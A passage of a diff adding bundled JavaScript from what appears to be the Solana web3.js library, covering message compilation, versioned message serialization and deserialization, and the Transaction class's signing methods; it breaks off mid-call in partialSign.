(writableIndexes.length === 0 && readonlyIndexes.length === 0) { + return; + } + return [{ + accountKey: lookupTable.key, + writableIndexes, + readonlyIndexes + }, { + writable: drainedWritableKeys, + readonly: drainedReadonlyKeys + }]; + } + + /** @internal */ + drainKeysFoundInLookupTable(lookupTableEntries, keyMetaFilter) { + const lookupTableIndexes = new Array(); + const drainedKeys = new Array(); + for (const [address, keyMeta] of this.keyMetaMap.entries()) { + if (keyMetaFilter(keyMeta)) { + const key = new PublicKey(address); + const lookupTableIndex = lookupTableEntries.findIndex(entry => entry.equals(key)); + if (lookupTableIndex >= 0) { + assert(lookupTableIndex < 256, 'Max lookup table index exceeded'); + lookupTableIndexes.push(lookupTableIndex); + drainedKeys.push(key); + this.keyMetaMap.delete(address); + } + } + } + return [lookupTableIndexes, drainedKeys]; + } +} + +const END_OF_BUFFER_ERROR_MESSAGE = 'Reached end of buffer unexpectedly'; + +/** + * Delegates to `Array#shift`, but throws if the array is zero-length. + */ +function guardedShift(byteArray) { + if (byteArray.length === 0) { + throw new Error(END_OF_BUFFER_ERROR_MESSAGE); + } + return byteArray.shift(); +} + +/** + * Delegates to `Array#splice`, but throws if the section being spliced out extends past the end of + * the array. + */ +function guardedSplice(byteArray, ...args) { + const [start] = args; + if (args.length === 2 // Implies that `deleteCount` was supplied + ? start + (args[1] ?? 0) > byteArray.length : start >= byteArray.length) { + throw new Error(END_OF_BUFFER_ERROR_MESSAGE); + } + return byteArray.splice(...args); +} + +/** + * An instruction to execute by a program + * + * @property {number} programIdIndex + * @property {number[]} accounts + * @property {string} data + */ + +/** + * Message constructor arguments + */ + +/** + * List of instructions to be processed atomically + */ +class Message { + constructor(args) { + this.header = void 0; + this.accountKeys = void 0; + this.recentBlockhash = void 0; + this.instructions = void 0; + this.indexToProgramIds = new Map(); + this.header = args.header; + this.accountKeys = args.accountKeys.map(account => new PublicKey(account)); + this.recentBlockhash = args.recentBlockhash; + this.instructions = args.instructions; + this.instructions.forEach(ix => this.indexToProgramIds.set(ix.programIdIndex, this.accountKeys[ix.programIdIndex])); + } + get version() { + return 'legacy'; + } + get staticAccountKeys() { + return this.accountKeys; + } + get compiledInstructions() { + return this.instructions.map(ix => ({ + programIdIndex: ix.programIdIndex, + accountKeyIndexes: ix.accounts, + data: bs58.decode(ix.data) + })); + } + get addressTableLookups() { + return []; + } + getAccountKeys() { + return new MessageAccountKeys(this.staticAccountKeys); + } + static compile(args) { + const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey); + const [header, staticAccountKeys] = compiledKeys.getMessageComponents(); + const accountKeys = new MessageAccountKeys(staticAccountKeys); + const instructions = accountKeys.compileInstructions(args.instructions).map(ix => ({ + programIdIndex: ix.programIdIndex, + accounts: ix.accountKeyIndexes, + data: bs58.encode(ix.data) + })); + return new Message({ + header, + accountKeys: staticAccountKeys, + recentBlockhash: args.recentBlockhash, + instructions + }); + } + isAccountSigner(index) { + return index < this.header.numRequiredSignatures; + } + isAccountWritable(index) { + const numSignedAccounts = this.header.numRequiredSignatures; + if (index >= this.header.numRequiredSignatures) { + const unsignedAccountIndex = index - numSignedAccounts; + const numUnsignedAccounts = this.accountKeys.length - numSignedAccounts; + const numWritableUnsignedAccounts = numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts; + return unsignedAccountIndex < numWritableUnsignedAccounts; + } else { + const numWritableSignedAccounts = numSignedAccounts - this.header.numReadonlySignedAccounts; + return index < numWritableSignedAccounts; + } + } + isProgramId(index) { + return this.indexToProgramIds.has(index); + } + programIds() { + return [...this.indexToProgramIds.values()]; + } + nonProgramIds() { + return this.accountKeys.filter((_, index) => !this.isProgramId(index)); + } + serialize() { + const numKeys = this.accountKeys.length; + let keyCount = []; + encodeLength(keyCount, numKeys); + const instructions = this.instructions.map(instruction => { + const { + accounts, + programIdIndex + } = instruction; + const data = Array.from(bs58.decode(instruction.data)); + let keyIndicesCount = []; + encodeLength(keyIndicesCount, accounts.length); + let dataCount = []; + encodeLength(dataCount, data.length); + return { + programIdIndex, + keyIndicesCount: Buffer.from(keyIndicesCount), + keyIndices: accounts, + dataLength: Buffer.from(dataCount), + data + }; + }); + let instructionCount = []; + encodeLength(instructionCount, instructions.length); + let instructionBuffer = Buffer.alloc(PACKET_DATA_SIZE); + Buffer.from(instructionCount).copy(instructionBuffer); + let instructionBufferLength = instructionCount.length; + instructions.forEach(instruction => { + const instructionLayout = BufferLayout.struct([BufferLayout.u8('programIdIndex'), BufferLayout.blob(instruction.keyIndicesCount.length, 'keyIndicesCount'), BufferLayout.seq(BufferLayout.u8('keyIndex'), instruction.keyIndices.length, 'keyIndices'), BufferLayout.blob(instruction.dataLength.length, 'dataLength'), BufferLayout.seq(BufferLayout.u8('userdatum'), instruction.data.length, 'data')]); + const length = instructionLayout.encode(instruction, instructionBuffer, instructionBufferLength); + instructionBufferLength += length; + }); + instructionBuffer = instructionBuffer.slice(0, instructionBufferLength); + const signDataLayout = BufferLayout.struct([BufferLayout.blob(1, 'numRequiredSignatures'), BufferLayout.blob(1, 'numReadonlySignedAccounts'), BufferLayout.blob(1, 'numReadonlyUnsignedAccounts'), BufferLayout.blob(keyCount.length, 'keyCount'), BufferLayout.seq(publicKey('key'), numKeys, 'keys'), publicKey('recentBlockhash')]); + const transaction = { + numRequiredSignatures: Buffer.from([this.header.numRequiredSignatures]), + numReadonlySignedAccounts: Buffer.from([this.header.numReadonlySignedAccounts]), + numReadonlyUnsignedAccounts: Buffer.from([this.header.numReadonlyUnsignedAccounts]), + keyCount: Buffer.from(keyCount), + keys: this.accountKeys.map(key => toBuffer(key.toBytes())), + recentBlockhash: bs58.decode(this.recentBlockhash) + }; + let signData = Buffer.alloc(2048); + const length = signDataLayout.encode(transaction, signData); + instructionBuffer.copy(signData, length); + return signData.slice(0, length + instructionBuffer.length); + } + + /** + * Decode a compiled message into a Message object. + */ + static from(buffer) { + // Slice up wire data + let byteArray = [...buffer]; + const numRequiredSignatures = guardedShift(byteArray); + if (numRequiredSignatures !== (numRequiredSignatures & VERSION_PREFIX_MASK)) { + throw new Error('Versioned messages must be deserialized with VersionedMessage.deserialize()'); + } + const numReadonlySignedAccounts = guardedShift(byteArray); + const numReadonlyUnsignedAccounts = guardedShift(byteArray); + const accountCount = decodeLength(byteArray); + let accountKeys = []; + for (let i = 0; i < accountCount; i++) { + const account = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH); + accountKeys.push(new PublicKey(Buffer.from(account))); + } + const recentBlockhash = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH); + const instructionCount = decodeLength(byteArray); + let instructions = []; + for (let i = 0; i < instructionCount; i++) { + const programIdIndex = guardedShift(byteArray); + const accountCount = decodeLength(byteArray); + const accounts = guardedSplice(byteArray, 0, accountCount); + const dataLength = decodeLength(byteArray); + const dataSlice = guardedSplice(byteArray, 0, dataLength); + const data = bs58.encode(Buffer.from(dataSlice)); + instructions.push({ + programIdIndex, + accounts, + data + }); + } + const messageArgs = { + header: { + numRequiredSignatures, + numReadonlySignedAccounts, + numReadonlyUnsignedAccounts + }, + recentBlockhash: bs58.encode(Buffer.from(recentBlockhash)), + accountKeys, + instructions + }; + return new Message(messageArgs); + } +} + +/** + * Message constructor arguments + */ + +class MessageV0 { + constructor(args) { + this.header = void 0; + this.staticAccountKeys = void 0; + this.recentBlockhash = void 0; + this.compiledInstructions = void 0; + this.addressTableLookups = void 0; + this.header = args.header; + this.staticAccountKeys = args.staticAccountKeys; + this.recentBlockhash = args.recentBlockhash; + this.compiledInstructions = args.compiledInstructions; + this.addressTableLookups = args.addressTableLookups; + } + get version() { + return 0; + } + get numAccountKeysFromLookups() { + let count = 0; + for (const lookup of this.addressTableLookups) { + count += lookup.readonlyIndexes.length + lookup.writableIndexes.length; + } + return count; + } + getAccountKeys(args) { + let accountKeysFromLookups; + if (args && 'accountKeysFromLookups' in args && args.accountKeysFromLookups) { + if (this.numAccountKeysFromLookups != args.accountKeysFromLookups.writable.length + args.accountKeysFromLookups.readonly.length) { + throw new Error('Failed to get account keys because of a mismatch in the number of account keys from lookups'); + } + accountKeysFromLookups = args.accountKeysFromLookups; + } else if (args && 'addressLookupTableAccounts' in args && args.addressLookupTableAccounts) { + accountKeysFromLookups = this.resolveAddressTableLookups(args.addressLookupTableAccounts); + } else if (this.addressTableLookups.length > 0) { + throw new Error('Failed to get account keys because address table lookups were not resolved'); + } + return new MessageAccountKeys(this.staticAccountKeys, accountKeysFromLookups); + } + isAccountSigner(index) { + return index < this.header.numRequiredSignatures; + } + isAccountWritable(index) { + const numSignedAccounts = this.header.numRequiredSignatures; + const numStaticAccountKeys = this.staticAccountKeys.length; + if (index >= numStaticAccountKeys) { + const lookupAccountKeysIndex = index - numStaticAccountKeys; + const numWritableLookupAccountKeys = this.addressTableLookups.reduce((count, lookup) => count + lookup.writableIndexes.length, 0); + return lookupAccountKeysIndex < numWritableLookupAccountKeys; + } else if (index >= this.header.numRequiredSignatures) { + const unsignedAccountIndex = index - numSignedAccounts; + const numUnsignedAccounts = numStaticAccountKeys - numSignedAccounts; + const numWritableUnsignedAccounts = numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts; + return unsignedAccountIndex < numWritableUnsignedAccounts; + } else { + const numWritableSignedAccounts = numSignedAccounts - this.header.numReadonlySignedAccounts; + return index < numWritableSignedAccounts; + } + } + resolveAddressTableLookups(addressLookupTableAccounts) { + const accountKeysFromLookups = { + writable: [], + readonly: [] + }; + for (const tableLookup of this.addressTableLookups) { + const tableAccount = addressLookupTableAccounts.find(account => account.key.equals(tableLookup.accountKey)); + if (!tableAccount) { + throw new Error(`Failed to find address lookup table account for table key ${tableLookup.accountKey.toBase58()}`); + } + for (const index of tableLookup.writableIndexes) { + if (index < tableAccount.state.addresses.length) { + accountKeysFromLookups.writable.push(tableAccount.state.addresses[index]); + } else { + throw new Error(`Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`); + } + } + for (const index of tableLookup.readonlyIndexes) { + if (index < tableAccount.state.addresses.length) { + accountKeysFromLookups.readonly.push(tableAccount.state.addresses[index]); + } else { + throw new Error(`Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`); + } + } + } + return accountKeysFromLookups; + } + static compile(args) { + const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey); + const addressTableLookups = new Array(); + const accountKeysFromLookups = { + writable: new Array(), + readonly: new Array() + }; + const lookupTableAccounts = args.addressLookupTableAccounts || []; + for (const lookupTable of lookupTableAccounts) { + const extractResult = compiledKeys.extractTableLookup(lookupTable); + if (extractResult !== undefined) { + const [addressTableLookup, { + writable, + readonly + }] = extractResult; + addressTableLookups.push(addressTableLookup); + accountKeysFromLookups.writable.push(...writable); + accountKeysFromLookups.readonly.push(...readonly); + } + } + const [header, staticAccountKeys] = compiledKeys.getMessageComponents(); + const accountKeys = new MessageAccountKeys(staticAccountKeys, accountKeysFromLookups); + const compiledInstructions = accountKeys.compileInstructions(args.instructions); + return new MessageV0({ + header, + staticAccountKeys, + recentBlockhash: args.recentBlockhash, + compiledInstructions, + addressTableLookups + }); + } + serialize() { + const encodedStaticAccountKeysLength = Array(); + encodeLength(encodedStaticAccountKeysLength, this.staticAccountKeys.length); + const serializedInstructions = this.serializeInstructions(); + const encodedInstructionsLength = Array(); + encodeLength(encodedInstructionsLength, this.compiledInstructions.length); + const serializedAddressTableLookups = this.serializeAddressTableLookups(); + const encodedAddressTableLookupsLength = Array(); + encodeLength(encodedAddressTableLookupsLength, this.addressTableLookups.length); + const messageLayout = BufferLayout.struct([BufferLayout.u8('prefix'), BufferLayout.struct([BufferLayout.u8('numRequiredSignatures'), BufferLayout.u8('numReadonlySignedAccounts'), BufferLayout.u8('numReadonlyUnsignedAccounts')], 'header'), BufferLayout.blob(encodedStaticAccountKeysLength.length, 'staticAccountKeysLength'), BufferLayout.seq(publicKey(), this.staticAccountKeys.length, 'staticAccountKeys'), publicKey('recentBlockhash'), BufferLayout.blob(encodedInstructionsLength.length, 'instructionsLength'), BufferLayout.blob(serializedInstructions.length, 'serializedInstructions'), BufferLayout.blob(encodedAddressTableLookupsLength.length, 'addressTableLookupsLength'), BufferLayout.blob(serializedAddressTableLookups.length, 'serializedAddressTableLookups')]); + const serializedMessage = new Uint8Array(PACKET_DATA_SIZE); + const MESSAGE_VERSION_0_PREFIX = 1 << 7; + const serializedMessageLength = messageLayout.encode({ + prefix: MESSAGE_VERSION_0_PREFIX, + header: this.header, + staticAccountKeysLength: new Uint8Array(encodedStaticAccountKeysLength), + staticAccountKeys: this.staticAccountKeys.map(key => key.toBytes()), + recentBlockhash: bs58.decode(this.recentBlockhash), + instructionsLength: new Uint8Array(encodedInstructionsLength), + serializedInstructions, + addressTableLookupsLength: new Uint8Array(encodedAddressTableLookupsLength), + serializedAddressTableLookups + }, serializedMessage); + return serializedMessage.slice(0, serializedMessageLength); + } + serializeInstructions() { + let serializedLength = 0; + const serializedInstructions = new Uint8Array(PACKET_DATA_SIZE); + for (const instruction of this.compiledInstructions) { + const encodedAccountKeyIndexesLength = Array(); + encodeLength(encodedAccountKeyIndexesLength, instruction.accountKeyIndexes.length); + const encodedDataLength = Array(); + encodeLength(encodedDataLength, instruction.data.length); + const instructionLayout = BufferLayout.struct([BufferLayout.u8('programIdIndex'), BufferLayout.blob(encodedAccountKeyIndexesLength.length, 'encodedAccountKeyIndexesLength'), BufferLayout.seq(BufferLayout.u8(), instruction.accountKeyIndexes.length, 'accountKeyIndexes'), BufferLayout.blob(encodedDataLength.length, 'encodedDataLength'), BufferLayout.blob(instruction.data.length, 'data')]); + serializedLength += instructionLayout.encode({ + programIdIndex: instruction.programIdIndex, + encodedAccountKeyIndexesLength: new Uint8Array(encodedAccountKeyIndexesLength), + accountKeyIndexes: instruction.accountKeyIndexes, + encodedDataLength: new Uint8Array(encodedDataLength), + data: instruction.data + }, serializedInstructions, serializedLength); + } + return serializedInstructions.slice(0, serializedLength); + } + serializeAddressTableLookups() { + let serializedLength = 0; + const serializedAddressTableLookups = new Uint8Array(PACKET_DATA_SIZE); + for (const lookup of this.addressTableLookups) { + const encodedWritableIndexesLength = Array(); + encodeLength(encodedWritableIndexesLength, lookup.writableIndexes.length); + const encodedReadonlyIndexesLength = Array(); + encodeLength(encodedReadonlyIndexesLength, lookup.readonlyIndexes.length); + const addressTableLookupLayout = BufferLayout.struct([publicKey('accountKey'), BufferLayout.blob(encodedWritableIndexesLength.length, 'encodedWritableIndexesLength'), BufferLayout.seq(BufferLayout.u8(), lookup.writableIndexes.length, 'writableIndexes'), BufferLayout.blob(encodedReadonlyIndexesLength.length, 'encodedReadonlyIndexesLength'), BufferLayout.seq(BufferLayout.u8(), lookup.readonlyIndexes.length, 'readonlyIndexes')]); + serializedLength += addressTableLookupLayout.encode({ + accountKey: lookup.accountKey.toBytes(), + encodedWritableIndexesLength: new Uint8Array(encodedWritableIndexesLength), + writableIndexes: lookup.writableIndexes, + encodedReadonlyIndexesLength: new Uint8Array(encodedReadonlyIndexesLength), + readonlyIndexes: lookup.readonlyIndexes + }, serializedAddressTableLookups, serializedLength); + } + return serializedAddressTableLookups.slice(0, serializedLength); + } + static deserialize(serializedMessage) { + let byteArray = [...serializedMessage]; + const prefix = guardedShift(byteArray); + const maskedPrefix = prefix & VERSION_PREFIX_MASK; + assert(prefix !== maskedPrefix, `Expected versioned message but received legacy message`); + const version = maskedPrefix; + assert(version === 0, `Expected versioned message with version 0 but found version ${version}`); + const header = { + numRequiredSignatures: guardedShift(byteArray), + numReadonlySignedAccounts: guardedShift(byteArray), + numReadonlyUnsignedAccounts: guardedShift(byteArray) + }; + const staticAccountKeys = []; + const staticAccountKeysLength = decodeLength(byteArray); + for (let i = 0; i < staticAccountKeysLength; i++) { + staticAccountKeys.push(new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH))); + } + const recentBlockhash = bs58.encode(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)); + const instructionCount = decodeLength(byteArray); + const compiledInstructions = []; + for (let i = 0; i < instructionCount; i++) { + const programIdIndex = guardedShift(byteArray); + const accountKeyIndexesLength = decodeLength(byteArray); + const accountKeyIndexes = guardedSplice(byteArray, 0, accountKeyIndexesLength); + const dataLength = decodeLength(byteArray); + const data = new Uint8Array(guardedSplice(byteArray, 0, dataLength)); + compiledInstructions.push({ + programIdIndex, + accountKeyIndexes, + data + }); + } + const addressTableLookupsCount = decodeLength(byteArray); + const addressTableLookups = []; + for (let i = 0; i < addressTableLookupsCount; i++) { + const accountKey = new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)); + const writableIndexesLength = decodeLength(byteArray); + const writableIndexes = guardedSplice(byteArray, 0, writableIndexesLength); + const readonlyIndexesLength = decodeLength(byteArray); + const readonlyIndexes = guardedSplice(byteArray, 0, readonlyIndexesLength); + addressTableLookups.push({ + accountKey, + writableIndexes, + readonlyIndexes + }); + } + return new MessageV0({ + header, + staticAccountKeys, + recentBlockhash, + compiledInstructions, + addressTableLookups + }); + } +} + +// eslint-disable-next-line no-redeclare +const VersionedMessage = { + deserializeMessageVersion(serializedMessage) { + const prefix = serializedMessage[0]; + const maskedPrefix = prefix & VERSION_PREFIX_MASK; + + // if the highest bit of the prefix is not set, the message is not versioned + if (maskedPrefix === prefix) { + return 'legacy'; + } + + // the lower 7 bits of the prefix indicate the message version + return maskedPrefix; + }, + deserialize: serializedMessage => { + const version = VersionedMessage.deserializeMessageVersion(serializedMessage); + if (version === 'legacy') { + return Message.from(serializedMessage); + } + if (version === 0) { + return MessageV0.deserialize(serializedMessage); + } else { + throw new Error(`Transaction message version ${version} deserialization is not supported`); + } + } +}; + +/** @internal */ + +/** + * Transaction signature as base-58 encoded string + */ + +let TransactionStatus = /*#__PURE__*/function (TransactionStatus) { + TransactionStatus[TransactionStatus["BLOCKHEIGHT_EXCEEDED"] = 0] = "BLOCKHEIGHT_EXCEEDED"; + TransactionStatus[TransactionStatus["PROCESSED"] = 1] = "PROCESSED"; + TransactionStatus[TransactionStatus["TIMED_OUT"] = 2] = "TIMED_OUT"; + TransactionStatus[TransactionStatus["NONCE_INVALID"] = 3] = "NONCE_INVALID"; + return TransactionStatus; +}({}); + +/** + * Default (empty) signature + */ +const DEFAULT_SIGNATURE = Buffer.alloc(SIGNATURE_LENGTH_IN_BYTES).fill(0); + +/** + * Account metadata used to define instructions + */ + +/** + * List of TransactionInstruction object fields that may be initialized at construction + */ + +/** + * Configuration object for Transaction.serialize() + */ + +/** + * @internal + */ + +/** + * Transaction Instruction class + */ +class TransactionInstruction { + constructor(opts) { + /** + * Public keys to include in this transaction + * Boolean represents whether this pubkey needs to sign the transaction + */ + this.keys = void 0; + /** + * Program Id to execute + */ + this.programId = void 0; + /** + * Program input + */ + this.data = Buffer.alloc(0); + this.programId = opts.programId; + this.keys = opts.keys; + if (opts.data) { + this.data = opts.data; + } + } + + /** + * @internal + */ + toJSON() { + return { + keys: this.keys.map(({ + pubkey, + isSigner, + isWritable + }) => ({ + pubkey: pubkey.toJSON(), + isSigner, + isWritable + })), + programId: this.programId.toJSON(), + data: [...this.data] + }; + } +} + +/** + * Pair of signature and corresponding public key + */ + +/** + * List of Transaction object fields that may be initialized at construction + */ + +// For backward compatibility; an unfortunate consequence of being +// forced to over-export types by the documentation generator. +// See https://github.com/solana-labs/solana/pull/25820 + +/** + * Blockhash-based transactions have a lifetime that are defined by + * the blockhash they include. Any transaction whose blockhash is + * too old will be rejected. + */ + +/** + * Use these options to construct a durable nonce transaction. + */ + +/** + * Nonce information to be used to build an offline Transaction. + */ + +/** + * @internal + */ + +/** + * Transaction class + */ +class Transaction { + /** + * The first (payer) Transaction signature + * + * @returns {Buffer | null} Buffer of payer's signature + */ + get signature() { + if (this.signatures.length > 0) { + return this.signatures[0].signature; + } + return null; + } + + /** + * The transaction fee payer + */ + + // Construct a transaction with a blockhash and lastValidBlockHeight + + // Construct a transaction using a durable nonce + + /** + * @deprecated `TransactionCtorFields` has been deprecated and will be removed in a future version. + * Please supply a `TransactionBlockhashCtor` instead. + */ + + /** + * Construct an empty Transaction + */ + constructor(opts) { + /** + * Signatures for the transaction. Typically created by invoking the + * `sign()` method + */ + this.signatures = []; + this.feePayer = void 0; + /** + * The instructions to atomically execute + */ + this.instructions = []; + /** + * A recent transaction id. Must be populated by the caller + */ + this.recentBlockhash = void 0; + /** + * the last block chain can advance to before tx is declared expired + * */ + this.lastValidBlockHeight = void 0; + /** + * Optional Nonce information. If populated, transaction will use a durable + * Nonce hash instead of a recentBlockhash. Must be populated by the caller + */ + this.nonceInfo = void 0; + /** + * If this is a nonce transaction this represents the minimum slot from which + * to evaluate if the nonce has advanced when attempting to confirm the + * transaction. This protects against a case where the transaction confirmation + * logic loads the nonce account from an old slot and assumes the mismatch in + * nonce value implies that the nonce has been advanced. + */ + this.minNonceContextSlot = void 0; + /** + * @internal + */ + this._message = void 0; + /** + * @internal + */ + this._json = void 0; + if (!opts) { + return; + } + if (opts.feePayer) { + this.feePayer = opts.feePayer; + } + if (opts.signatures) { + this.signatures = opts.signatures; + } + if (Object.prototype.hasOwnProperty.call(opts, 'nonceInfo')) { + const { + minContextSlot, + nonceInfo + } = opts; + this.minNonceContextSlot = minContextSlot; + this.nonceInfo = nonceInfo; + } else if (Object.prototype.hasOwnProperty.call(opts, 'lastValidBlockHeight')) { + const { + blockhash, + lastValidBlockHeight + } = opts; + this.recentBlockhash = blockhash; + this.lastValidBlockHeight = lastValidBlockHeight; + } else { + const { + recentBlockhash, + nonceInfo + } = opts; + if (nonceInfo) { + this.nonceInfo = nonceInfo; + } + this.recentBlockhash = recentBlockhash; + } + } + + /** + * @internal + */ + toJSON() { + return { + recentBlockhash: this.recentBlockhash || null, + feePayer: this.feePayer ? this.feePayer.toJSON() : null, + nonceInfo: this.nonceInfo ? { + nonce: this.nonceInfo.nonce, + nonceInstruction: this.nonceInfo.nonceInstruction.toJSON() + } : null, + instructions: this.instructions.map(instruction => instruction.toJSON()), + signers: this.signatures.map(({ + publicKey + }) => { + return publicKey.toJSON(); + }) + }; + } + + /** + * Add one or more instructions to this Transaction + * + * @param {Array< Transaction | TransactionInstruction | TransactionInstructionCtorFields >} items - Instructions to add to the Transaction + */ + add(...items) { + if (items.length === 0) { + throw new Error('No instructions'); + } + items.forEach(item => { + if ('instructions' in item) { + this.instructions = this.instructions.concat(item.instructions); + } else if ('data' in item && 'programId' in item && 'keys' in item) { + this.instructions.push(item); + } else { + this.instructions.push(new TransactionInstruction(item)); + } + }); + return this; + } + + /** + * Compile transaction data + */ + compileMessage() { + if (this._message && JSON.stringify(this.toJSON()) === JSON.stringify(this._json)) { + return this._message; + } + let recentBlockhash; + let instructions; + if (this.nonceInfo) { + recentBlockhash = this.nonceInfo.nonce; + if (this.instructions[0] != this.nonceInfo.nonceInstruction) { + instructions = [this.nonceInfo.nonceInstruction, ...this.instructions]; + } else { + instructions = this.instructions; + } + } else { + recentBlockhash = this.recentBlockhash; + instructions = this.instructions; + } + if (!recentBlockhash) { + throw new Error('Transaction recentBlockhash required'); + } + if (instructions.length < 1) { + console.warn('No instructions provided'); + } + let feePayer; + if (this.feePayer) { + feePayer = this.feePayer; + } else if (this.signatures.length > 0 && this.signatures[0].publicKey) { + // Use implicit fee payer + feePayer = this.signatures[0].publicKey; + } else { + throw new Error('Transaction fee payer required'); + } + for (let i = 0; i < instructions.length; i++) { + if (instructions[i].programId === undefined) { + throw new Error(`Transaction instruction index ${i} has undefined program id`); + } + } + const programIds = []; + const accountMetas = []; + instructions.forEach(instruction => { + instruction.keys.forEach(accountMeta => { + accountMetas.push({ + ...accountMeta + }); + }); + const programId = instruction.programId.toString(); + if (!programIds.includes(programId)) { + programIds.push(programId); + } + }); + + // Append programID account metas + programIds.forEach(programId => { + accountMetas.push({ + pubkey: new PublicKey(programId), + isSigner: false, + isWritable: false + }); + }); + + // Cull duplicate account metas + const uniqueMetas = []; + accountMetas.forEach(accountMeta => { + const pubkeyString = accountMeta.pubkey.toString(); + const uniqueIndex = uniqueMetas.findIndex(x => { + return x.pubkey.toString() === pubkeyString; + }); + if (uniqueIndex > -1) { + uniqueMetas[uniqueIndex].isWritable = uniqueMetas[uniqueIndex].isWritable || accountMeta.isWritable; + uniqueMetas[uniqueIndex].isSigner = uniqueMetas[uniqueIndex].isSigner || accountMeta.isSigner; + } else { + uniqueMetas.push(accountMeta); + } + }); + + // Sort. Prioritizing first by signer, then by writable + uniqueMetas.sort(function (x, y) { + if (x.isSigner !== y.isSigner) { + // Signers always come before non-signers + return x.isSigner ? -1 : 1; + } + if (x.isWritable !== y.isWritable) { + // Writable accounts always come before read-only accounts + return x.isWritable ? -1 : 1; + } + // Otherwise, sort by pubkey, stringwise. + const options = { + localeMatcher: 'best fit', + usage: 'sort', + sensitivity: 'variant', + ignorePunctuation: false, + numeric: false, + caseFirst: 'lower' + }; + return x.pubkey.toBase58().localeCompare(y.pubkey.toBase58(), 'en', options); + }); + + // Move fee payer to the front + const feePayerIndex = uniqueMetas.findIndex(x => { + return x.pubkey.equals(feePayer); + }); + if (feePayerIndex > -1) { + const [payerMeta] = uniqueMetas.splice(feePayerIndex, 1); + payerMeta.isSigner = true; + payerMeta.isWritable = true; + uniqueMetas.unshift(payerMeta); + } else { + uniqueMetas.unshift({ + pubkey: feePayer, + isSigner: true, + isWritable: true + }); + } + + // Disallow unknown signers + for (const signature of this.signatures) { + const uniqueIndex = uniqueMetas.findIndex(x => { + return x.pubkey.equals(signature.publicKey); + }); + if (uniqueIndex > -1) { + if (!uniqueMetas[uniqueIndex].isSigner) { + uniqueMetas[uniqueIndex].isSigner = true; + console.warn('Transaction references a signature that is unnecessary, ' + 'only the fee payer and instruction signer accounts should sign a transaction. ' + 'This behavior is deprecated and will throw an error in the next major version release.'); + } + } else { + throw new Error(`unknown signer: ${signature.publicKey.toString()}`); + } + } + let numRequiredSignatures = 0; + let numReadonlySignedAccounts = 0; + let numReadonlyUnsignedAccounts = 0; + + // Split out signing from non-signing keys and count header values + const signedKeys = []; + const unsignedKeys = []; + uniqueMetas.forEach(({ + pubkey, + isSigner, + isWritable + }) => { + if (isSigner) { + signedKeys.push(pubkey.toString()); + numRequiredSignatures += 1; + if (!isWritable) { + numReadonlySignedAccounts += 1; + } + } else { + unsignedKeys.push(pubkey.toString()); + if (!isWritable) { + numReadonlyUnsignedAccounts += 1; + } + } + }); + const accountKeys = signedKeys.concat(unsignedKeys); + const compiledInstructions = instructions.map(instruction => { + const { + data, + programId + } = instruction; + return { + programIdIndex: accountKeys.indexOf(programId.toString()), + accounts: instruction.keys.map(meta => accountKeys.indexOf(meta.pubkey.toString())), + data: bs58.encode(data) + }; + }); + compiledInstructions.forEach(instruction => { + assert(instruction.programIdIndex >= 0); + instruction.accounts.forEach(keyIndex => assert(keyIndex >= 0)); + }); + return new Message({ + header: { + numRequiredSignatures, + numReadonlySignedAccounts, + numReadonlyUnsignedAccounts + }, + accountKeys, + recentBlockhash, + instructions: compiledInstructions + }); + } + + /** + * @internal + */ + _compile() { + const message = this.compileMessage(); + const signedKeys = message.accountKeys.slice(0, message.header.numRequiredSignatures); + if (this.signatures.length === signedKeys.length) { + const valid = this.signatures.every((pair, index) => { + return signedKeys[index].equals(pair.publicKey); + }); + if (valid) return message; + } + this.signatures = signedKeys.map(publicKey => ({ + signature: null, + publicKey + })); + return message; + } + + /** + * Get a buffer of the Transaction data that need to be covered by signatures + */ + serializeMessage() { + return this._compile().serialize(); + } + + /** + * Get the estimated fee associated with a transaction + * + * @param {Connection} connection Connection to RPC Endpoint. + * + * @returns {Promise} The estimated fee for the transaction + */ + async getEstimatedFee(connection) { + return (await connection.getFeeForMessage(this.compileMessage())).value; + } + + /** + * Specify the public keys which will be used to sign the Transaction. + * The first signer will be used as the transaction fee payer account. + * + * Signatures can be added with either `partialSign` or `addSignature` + * + * @deprecated Deprecated since v0.84.0. Only the fee payer needs to be + * specified and it can be set in the Transaction constructor or with the + * `feePayer` property. + */ + setSigners(...signers) { + if (signers.length === 0) { + throw new Error('No signers'); + } + const seen = new Set(); + this.signatures = signers.filter(publicKey => { + const key = publicKey.toString(); + if (seen.has(key)) { + return false; + } else { + seen.add(key); + return true; + } + }).map(publicKey => ({ + signature: null, + publicKey + })); + } + + /** + * Sign the Transaction with the specified signers. Multiple signatures may + * be applied to a Transaction. The first signature is considered "primary" + * and is used identify and confirm transactions. + * + * If the Transaction `feePayer` is not set, the first signer will be used + * as the transaction fee payer account. + * + * Transaction fields should not be modified after the first call to `sign`, + * as doing so may invalidate the signature and cause the Transaction to be + * rejected. + * + * The Transaction must be assigned a valid `recentBlockhash` before invoking this method + * + * @param {Array} signers Array of signers that will sign the transaction + */ + sign(...signers) { + if (signers.length === 0) { + throw new Error('No signers'); + } + + // Dedupe signers + const seen = new Set(); + const uniqueSigners = []; + for (const signer of signers) { + const key = signer.publicKey.toString(); + if (seen.has(key)) { + continue; + } else { + seen.add(key); + uniqueSigners.push(signer); + } + } + this.signatures = uniqueSigners.map(signer => ({ + signature: null, + publicKey: signer.publicKey + })); + const message = this._compile(); + this._partialSign(message, ...uniqueSigners); + } + + /** + * Partially sign a transaction with the specified accounts. All accounts must + * correspond to either the fee payer or a signer account in the transaction + * instructions. + * + * All the caveats from the `sign` method apply to `partialSign` + * + * @param {Array} signers Array of signers that will sign the transaction + */ + partialSign(...signers) { + if (signers.length === 0) { + throw new Error('No signers'); + } + + // Dedupe signers + const seen = new Set(); + const uniqueSigners = []; + for (const signer of signers) { + const key = signer.publicKey.toString(); + if (seen.has(key)) { + continue; + } else { + seen.add(key); + uniqueSigners.push(signer); + } + } + const message = this._compile(); + this._partialSign(message, 